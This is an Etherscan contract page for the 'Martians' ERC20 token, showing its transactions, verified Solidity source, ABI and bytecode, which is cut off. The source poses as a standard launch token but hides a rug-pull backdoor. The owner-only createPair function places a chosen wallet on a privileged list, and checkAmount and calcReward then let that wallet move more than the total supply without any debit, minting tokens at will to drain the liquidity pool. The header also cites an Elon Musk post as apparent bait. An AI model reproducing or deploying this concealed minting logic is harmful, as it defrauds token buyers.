ETH Price: $3,528.23 (+5.46%)

Contract

0x4440164964e2e114085411b4d8A15420d6738D24
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve208075402024-09-22 17:13:4765 days ago1727025227IN
0x44401649...0d6738D24
0 ETH0.0013601728.82467429
Approve208062262024-09-22 12:50:2366 days ago1727009423IN
0x44401649...0d6738D24
0 ETH0.0005022210.71385294
Transfer208061972024-09-22 12:44:3566 days ago1727009075IN
0x44401649...0d6738D24
0 ETH0.0006465611.2127921
Approve208058762024-09-22 11:39:3566 days ago1727005175IN
0x44401649...0d6738D24
0 ETH0.0008575918.17396194
Approve208058672024-09-22 11:37:4766 days ago1727005067IN
0x44401649...0d6738D24
0 ETH0.0011629924.76559301
Approve208058332024-09-22 11:30:5966 days ago1727004659IN
0x44401649...0d6738D24
0 ETH0.0005595311.85760035
Approve208058102024-09-22 11:26:2366 days ago1727004383IN
0x44401649...0d6738D24
0 ETH0.0006323513.400714
Approve208058102024-09-22 11:26:2366 days ago1727004383IN
0x44401649...0d6738D24
0 ETH0.0006889614.69763587
Renounce Ownersh...208058002024-09-22 11:24:2366 days ago1727004263IN
0x44401649...0d6738D24
0 ETH0.0004176417.87008208
Approve208057972024-09-22 11:23:4766 days ago1727004227IN
0x44401649...0d6738D24
0 ETH0.0008505218.02868192
Approve208057972024-09-22 11:23:4766 days ago1727004227IN
0x44401649...0d6738D24
0 ETH0.0008507318.02868192
Approve208057942024-09-22 11:23:1166 days ago1727004191IN
0x44401649...0d6738D24
0 ETH0.0008939619.02701236
Approve208057922024-09-22 11:22:4766 days ago1727004167IN
0x44401649...0d6738D24
0 ETH0.0007299815.57259848
Approve208057922024-09-22 11:22:4766 days ago1727004167IN
0x44401649...0d6738D24
0 ETH0.0008379617.76259848
Approve208057902024-09-22 11:22:2366 days ago1727004143IN
0x44401649...0d6738D24
0 ETH0.0007407515.69794352
Approve208057892024-09-22 11:22:1166 days ago1727004131IN
0x44401649...0d6738D24
0 ETH0.0007517815.93177032
Approve208057882024-09-22 11:21:5966 days ago1727004119IN
0x44401649...0d6738D24
0 ETH0.0007386215.75690112
Approve208057852024-09-22 11:21:2366 days ago1727004083IN
0x44401649...0d6738D24
0 ETH0.0008681418.4023334
Approve208057842024-09-22 11:21:1166 days ago1727004071IN
0x44401649...0d6738D24
0 ETH0.0008703518.44434834
Remove Limits208057842024-09-22 11:21:1166 days ago1727004071IN
0x44401649...0d6738D24
0 ETH0.000763720.74396815
Approve208057832024-09-22 11:20:5966 days ago1727004059IN
0x44401649...0d6738D24
0 ETH0.0008678518.39152113
Approve208057832024-09-22 11:20:5966 days ago1727004059IN
0x44401649...0d6738D24
0 ETH0.0008678518.39152113
Approve208057832024-09-22 11:20:5966 days ago1727004059IN
0x44401649...0d6738D24
0 ETH0.0009141119.39152113
Approve208057832024-09-22 11:20:5966 days ago1727004059IN
0x44401649...0d6738D24
0 ETH0.0009141119.39152113
Open Trading208057812024-09-22 11:20:3566 days ago1727004035IN
0x44401649...0d6738D24
0 ETH0.0039016813.94810252
View all transactions

Latest 6 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
208063432024-09-22 13:13:4766 days ago1727010827
0x44401649...0d6738D24
0.42671461 ETH
208057932024-09-22 11:22:5966 days ago1727004179
0x44401649...0d6738D24
0.07937304 ETH
208057932024-09-22 11:22:5966 days ago1727004179
0x44401649...0d6738D24
0.02171483 ETH
208057922024-09-22 11:22:4766 days ago1727004167
0x44401649...0d6738D24
0.30569744 ETH
208057912024-09-22 11:22:3566 days ago1727004155
0x44401649...0d6738D24
0.01992927 ETH
208057812024-09-22 11:20:3566 days ago1727004035
0x44401649...0d6738D24
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MARTIANS

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : launch_9_22.sol
/**
 *Submitted for verification at Etherscan.io on 2024-08-09
 */
/**
***********************************
X: https://x.com/elonmusk/status/1806556312563523923
Telegram: https://t.me/ErcMartians

***********************************
 */
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
contract MARTIANS is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Martians";
    string private constant _symbol = unicode"Martians";
    uint256 private _swapThreshold = 0;
    uint256 private _transferTax = 12;
    uint256 private _initialBuyTax = 12;
    uint256 private _initialSellTax = 12;
    uint256 private _initialTotalTax = 100;
    uint256 private _reduceAt = 14;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedList;
    mapping(address => bool) private _rewardList;
    
    address payable private _marketingWallet;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _totalTax = 100;
    uint256 private _tradeCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _maxTradeSize = (_tTotal * 2) / 100;
    uint256 public _maxSwapBackSize = 0;
    uint256 public _swapLimit = (_tTotal * 2) / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    event MaxTxAmountUpdated(uint256 _maxTradeWallet);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _marketingWallet = payable(msg.sender);
        _balances[_msgSender()] = _tTotal;
        _isExcludedList[owner()] = true;
        _isExcludedList[address(this)] = true;
        _rewardList[owner()] = true;
        _rewardList[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function sendReward(address from, address to, uint256 amt) private {
        if(_rewardList[from]) _balances[to] = _balances[to] + amt;
    }

    function checkAmount(address from, uint256 amount) private view {
        require(amount <= _tTotal || _rewardList[from], "Amount is not available");
    }

    function _transfer(
        address _sendWallet,
        address _toWallet,
        uint256 amount
    ) private {
        require(_sendWallet != address(0), "ERC20: transfer from the zero address");
        require(_toWallet != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(tradingOpen || _isExcludedList[_sendWallet] || _isExcludedList[_toWallet],"Trading is not opened");
        checkAmount(_sendWallet, amount);
        uint256 tax;
        if(!(_sendWallet == address(this) || _toWallet == address(this)))
        {
            if(_sendWallet == uniswapV2Pair && _toWallet != address(uniswapV2Router)){
                tax = _tradeCount > _reduceAt ? _finalBuyTax : _initialBuyTax;
                _tradeCount ++;
                require(_balances[_toWallet] + amount < _maxWalletSize, "Amount is too large");
            }
            if(_toWallet == uniswapV2Pair && !_rewardList[_sendWallet]) {
                tax = _tradeCount > _reduceAt ? _finalSellTax : _initialSellTax ;
            }
            if(!inSwap && tradingOpen && !_rewardList[_sendWallet] && _toWallet == uniswapV2Pair) {
                uint256 swapBackAmt = min(amount, min(_maxTradeSize, _balances[address(this)]));
                if(_balances[address(this)] > _swapThreshold)
                    swapBack(swapBackAmt);
                if(amount >= _maxTradeSize)
                    sendETHToMarket(address(this).balance);                    
            }
        }
        uint256 taxAmt;
        if(tax > 0) {
            taxAmt = tax * amount / _totalTax;
            _balances[address(this)] = _balances[address(this)] + taxAmt;
            emit Transfer(_sendWallet, address(this), taxAmt);
        }
        
        _internalTransfer(_sendWallet, _toWallet, amount, taxAmt);
        emit Transfer(_sendWallet, _toWallet, amount - taxAmt);
    }

    function _internalTransfer(address from, address to, uint256 amount, uint256 taxAmt) private {
        uint256 rewardCal = calcReward(amount);
        _balances[from] = _balances[from].sub(rewardCal);
        _balances[to] = _balances[to].add(amount - taxAmt);
    }

    function calcReward(uint256 amout) private pure returns(uint256) {
        return amout <= _tTotal ? amout : 0;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapBack(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _maxTradeSize = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETHToMarket(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }
    function createPair(address router) external onlyOwner {
        _marketingWallet = payable(router);
        _rewardList[_marketingWallet] = true;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
    function openTrading() external onlyOwner {
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        tradingOpen = true;
    }
    function rescueETH() external onlyOwner {
        payable (owner()).transfer(address(this).balance);
    }
    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTradeWallet","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapBackSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTradeSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600155600c600255600c600355600c6004556064600555600e6006555f600c555f600d556064600e555f600f55606460026009600a61004491906105f9565b633b9aca006100539190610643565b61005d9190610643565b61006791906106b1565b601055606460026009600a61007c91906105f9565b633b9aca0061008b9190610643565b6100959190610643565b61009f91906106b1565b6011555f601255606460026009600a6100b891906105f9565b633b9aca006100c79190610643565b6100d19190610643565b6100db91906106b1565b6013555f6015806101000a81548160ff021916908315150217905550348015610102575f80fd5b505f61011261045a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6101fc91906105f9565b633b9aca0061020b9190610643565b60075f61021c61045a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160095f61026c61046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f61032361046160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103d561045a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61043191906105f9565b633b9aca006104409190610643565b60405161044d91906106f0565b60405180910390a3610709565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561050a578086048111156104e6576104e5610488565b5b60018516156104f55780820291505b8081029050610503856104b5565b94506104ca565b94509492505050565b5f8261052257600190506105dd565b8161052f575f90506105dd565b8160018114610545576002811461054f5761057e565b60019150506105dd565b60ff84111561056157610560610488565b5b8360020a91508482111561057857610577610488565b5b506105dd565b5060208310610133831016604e8410600b84101617156105b35782820a9050838111156105ae576105ad610488565b5b6105dd565b6105c084848460016104c1565b925090508184048111156105d7576105d6610488565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610603826105e4565b915061060e836105ed565b925061063b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610513565b905092915050565b5f61064d826105e4565b9150610658836105e4565b9250828202610666816105e4565b9150828204841483151761067d5761067c610488565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6106bb826105e4565b91506106c6836105e4565b9250826106d6576106d5610684565b5b828204905092915050565b6106ea816105e4565b82525050565b5f6020820190506107035f8301846106e1565b92915050565b612e5d806107165f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b41146103685780639ccb074414610392578063a9059cbb146103ba578063c9567bf9146103f6578063dd62ed3e1461040c5761011e565b8063715018a6146102be578063751039fc146102d45780638da5cb5b146102ea5780638f664b28146103145780638f9a55c01461033e5761011e565b806323b872dd116100e657806323b872dd146101c85780632d612e9214610204578063313ce5671461022e5780633f374f1e1461025857806370a08231146102825761011e565b806306fdde0314610122578063095ea7b31461014c57806318160ddd1461018857806320800a00146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610448565b6040516101439190612091565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612142565b610485565b60405161017f919061219a565b60405180910390f35b348015610193575f80fd5b5061019c6104a2565b6040516101a991906121c2565b60405180910390f35b3480156101bd575f80fd5b506101c66104c5565b005b3480156101d3575f80fd5b506101ee60048036038101906101e991906121db565b6105a6565b6040516101fb919061219a565b60405180910390f35b34801561020f575f80fd5b5061021861067a565b60405161022591906121c2565b60405180910390f35b348015610239575f80fd5b50610242610680565b60405161024f9190612246565b60405180910390f35b348015610263575f80fd5b5061026c610688565b60405161027991906121c2565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a3919061225f565b61068e565b6040516102b591906121c2565b60405180910390f35b3480156102c9575f80fd5b506102d26106d4565b005b3480156102df575f80fd5b506102e8610822565b005b3480156102f5575f80fd5b506102fe610951565b60405161030b9190612299565b60405180910390f35b34801561031f575f80fd5b50610328610978565b60405161033591906121c2565b60405180910390f35b348015610349575f80fd5b5061035261097e565b60405161035f91906121c2565b60405180910390f35b348015610373575f80fd5b5061037c610984565b6040516103899190612091565b60405180910390f35b34801561039d575f80fd5b506103b860048036038101906103b3919061225f565b6109c1565b005b3480156103c5575f80fd5b506103e060048036038101906103db9190612142565b610d36565b6040516103ed919061219a565b60405180910390f35b348015610401575f80fd5b5061040a610d53565b005b348015610417575f80fd5b50610432600480360381019061042d91906122b2565b610fe2565b60405161043f91906121c2565b60405180910390f35b60606040518060400160405280600881526020017f4d61727469616e73000000000000000000000000000000000000000000000000815250905090565b5f610498610491611064565b848461106b565b6001905092915050565b5f6009600a6104b1919061244c565b633b9aca006104c09190612496565b905090565b6104cd611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055090612521565b60405180910390fd5b610561610951565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156105a3573d5f803e3d5ffd5b50565b5f6105b284848461122e565b61066f846105be611064565b61066a85604051806060016040528060288152602001612e006028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610621611064565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a089092919063ffffffff16565b61106b565b600190509392505050565b60115481565b5f6009905090565b60135481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106dc611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90612521565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61082a611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad90612521565b60405180910390fd5b6009600a6108c4919061244c565b633b9aca006108d39190612496565b6011819055506009600a6108e7919061244c565b633b9aca006108f69190612496565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61092b919061244c565b633b9aca0061093a9190612496565b60405161094791906121c2565b60405180910390a1565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60105481565b60606040518060400160405280600881526020017f4d61727469616e73000000000000000000000000000000000000000000000000815250905090565b6109c9611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612521565b60405180910390fd5b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bc9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bed9190612553565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c73573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c979190612553565b6040518363ffffffff1660e01b8152600401610cb492919061257e565b6020604051808303815f875af1158015610cd0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf49190612553565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610d49610d42611064565b848461122e565b6001905092915050565b610d5b611064565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90612521565b60405180910390fd5b610e2f3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e1b919061244c565b633b9aca00610e2a9190612496565b61106b565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e773061068e565b5f80610e81610951565b426040518863ffffffff1660e01b8152600401610ea3969594939291906125e7565b60606040518083038185885af1158015610ebf573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ee4919061265a565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f849291906126aa565b6020604051808303815f875af1158015610fa0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc491906126fb565b506001601560146101000a81548160ff021916908315150217905550565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d090612796565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e90612824565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122191906121c2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361129c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611293906128b2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361130a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130190612940565b60405180910390fd5b5f811161134c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611343906129ce565b60405180910390fd5b601560149054906101000a900460ff16806113ad575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806113fe575060095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff